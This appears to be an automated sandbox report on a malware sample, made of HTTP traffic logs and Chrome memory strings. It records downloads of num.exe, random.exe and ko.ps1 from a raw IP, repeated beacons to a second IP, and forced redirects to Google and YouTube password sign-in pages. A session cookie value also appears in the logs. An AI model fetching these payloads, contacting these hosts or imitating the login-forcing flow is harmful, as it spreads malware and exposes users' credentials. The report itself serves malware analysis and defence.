Source: global traffic	HTTP traffic detected: GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1Host: chrome.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-640975673&timestamp=1727682697731 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ==Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=onpa3VdrJ_93kLczbw354ezLC3v-GLWmYGiB2yuyMtOBxB-hFS4OPqg8aBa9WWOizC-jGHdFJeucim9hbU8sam55vSuP7cGZP7dlzOMzB5Y833IYVqpUrU_teDSXFS1emefo72UGTcXCk7eyLIYgpNA0pE7ymQwQmx5hh8hGcMZ_bfm9YA
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AY4GWKDHKllS27BO_e8bCnbax_jg8ytdTG4Uzua5Kte91Msonmjt9Ssh1u4j53F3UYy-997sHknkzKEy9994XId3zBBDiju_YSunzv5QYwyL8XEx9VuF26n3JIgkmCYaLzIAxlKa5UdUDZoPCHdwU63c7rFT0JUxfsWG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_82_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AkfybAvKZ32l69F&MD=OShox1r7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/ko.ps1 HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 0000000A.00000002.4511769864.0000020C08FC0000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARpgrqeCXuozKuNgg6MX9Rq-hQWwPVQwL_ack-uT_7RprktA3kMD0CQY1YwpoLJKsHwkgx7ee0Fz9g equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000002.4519237628.00003FCC02360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd%2Fchallenge%2Fpwd3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=0 equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2373419811.00003FCC03108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 6s://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=0eport/fine-allowlist equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000002.4519274085.00003FCC0236C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 7Vaccounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=0- equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2511037745.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.4246852367.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002893869.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?F%2Fwww.youtube.com%2Fsgnin%3Fom%252Fant%2s%25 ZA equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2511037745.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.4246852367.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002893869.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?F%2Fwww.youtube.com%2Fsgnin%3Fom%252Fant%2s%25 equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000002.4518934007.00003FCC022DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?tion_handle_signin=true&app=desktop&hl=en&next=https://www.youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd&feature=redirect_login&hl=en equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000002.4519640603.00003FCC023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?www.youtube.com equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2511037745.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.4246852367.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002893869.00003FCC03B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: F%2Fwww.youtube.com%2Fs equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2358149722.00003FCC034C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2367595616.00003FCC03784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2358387820.00003FCC0355C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: GETbhttps://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2358297327.00003FCC0371C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYx-auto-login: realm=com.google&args=service%3Dyoutube%26continue%3Dhttps://www.youtube.com/signin?action_handle_signin%253Dtrue%2526app%253Ddesktop%2526hl%253Den%2526next%253Dhttps%25253A%25252F%25252Fwww.youtube.com%25252Faccount%25253F%25253Dhttps%2525253A%2525252F%2525252Faccounts.google.com%2525252Fv3%2525252Fsignin%2525252Fchallenge%2525252Fpwd%2526feature%253Dredirect_loginx-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Sep 2024 07:51:33 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-ti1ryhgws_-LMzI-TQBa8A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com https://support.google.com/inapp/ https://www.google.com/tools/feedback/ https://www.gstatic.com/inproduct_help/ https://www.gstatic.com/support/content/;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://www.google.com/tools/feedback/load.js https://www.google.com/tools/feedback/open.js https://www.gstatic.com/inproduct_help/service/lazy.min.js https://www.gstatic.com/inproduct_help/api/main.min.js https://www.gstatic.com/inproduct_help/chatsupport/chatsupport_button_v2.js https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js https://www.gstatic.com/uservoice/feedback/client/web/live/ https://www.google.com/tools/feedback/chat_load.js https://www.gstatic.com/uservoice/surveys/resources/prod/js/survey/ https://www.gstatic.com/feedback/js/ghelp/ https://www.gstatic.com/_/mss/boq-one-google/_/ https://www.gstatic.com/og/_/js/ https://apis.google.com/js/api.js https://apis.google.com/js/client.js https://www.googletagmanager.com/gtag/js https://www.google-analytics.com/analytics.js https://www.googletagmanager.com/gtag/destination https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en._s1fC-CLCMs.es5.O/ https://apis.google.com/_/scs/abc-static/_/js/;report-uri /v3/signin/_/AccountsSignInUi/cspreport/fine-allowlistReport-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Resource-Policy: same-sitePermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-u
Source: chrome.exe, 0000000A.00000003.2358149722.00003FCC034C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2346939266.00003FCC02EC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2367595616.00003FCC03784000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP/1.1 301 Moved PermanentlyContent-Type: application/binaryX-Content-Type-Options: nosniffExpires: Mon, 30 Sep 2024 07:51:28 GMTDate: Mon, 30 Sep 2024 07:51:28 GMTCache-Control: private, max-age=31536000Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2FpwdX-Frame-Options: SAMEORIGINReport-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]}Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main"Content-Security-Policy: require-trusted-types-for 'script'Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionVary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionServer: ESFContent-Length: 0X-XSS-Protection: 0Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2347060438.00003FCC034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Sep 2024 07:51:31 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARpgrqeCXuozKuNgg6MX9Rq-hQWwPVQwL_ack-uT_7RprktA3kMD0CQY1YwpoLJKsHwkgx7ee0Fz9gPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-b2q0O9C76rq4zXBdyVoO9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportCross-Origin-Resource-Policy: cross-originCross-Origin-Opener-Policy: unsafe-noneServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2358243438.00003FCC024B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8X-Frame-Options: DENYCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Sep 2024 07:51:32 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=0Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0M3WRq_AQD5D7Hg-bSMn-g' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]}Content-Length: 797X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2322471343.00003FCC03108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP/1.1 303 See OtherContent-Type: application/binaryX-Content-Type-Options: nosniffCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Sep 2024 07:51:30 GMTLocation: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=enX-Frame-Options: SAMEORIGINAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionVary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script'Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]}Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main"Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info."Server: ESFContent-Length: 0X-XSS-Protection: 0Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2347060438.00003FCC034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARpgrqeCXuozKuNgg6MX9Rq-hQWwPVQwL_ack-uT_7RprktA3kMD0CQY1YwpoLJKsHwkgx7ee0Fz9g equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2322471343.00003FCC03108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2358243438.00003FCC024B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Location: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=0 equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2358149722.00003FCC034C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2346939266.00003FCC02EC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2367595616.00003FCC03784000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Location: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000002.4511769864.0000020C08FC0000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: Qhttps://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000002.4511769864.0000020C08FC0000.00000002.00000001.00040000.0000001E.sdmp	String found in binary or memory: ]https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=0 equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000002.4519274085.00003FCC0236C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=0 equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2373419811.00003FCC03108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&ifkv=ARpgrqfTFQ5fRi6WSPK3XwJYXYrA9P91T_X4FTyncFXGII6LppQEht4ktLrRCxCe5IDqRrKwnKTJ&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1507457055%3A1727682692218469&ddm=09&ddm=0eport/fine-allowlist equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000A.00000003.2346703166.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%253F%253Dhttps%25253A%25252F%25252Faccounts.google.com%25252Fv3%25252Fsignin%25252Fchallenge%25252Fpwd%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARpgrqeCXuozKuNgg6MX9Rq-hQWwPVQwL_ack-uT_7RprktA3kMD0CQY1YwpoLJKsHwkgx7ee0Fz9g equals www.youtube.com (Youtube)
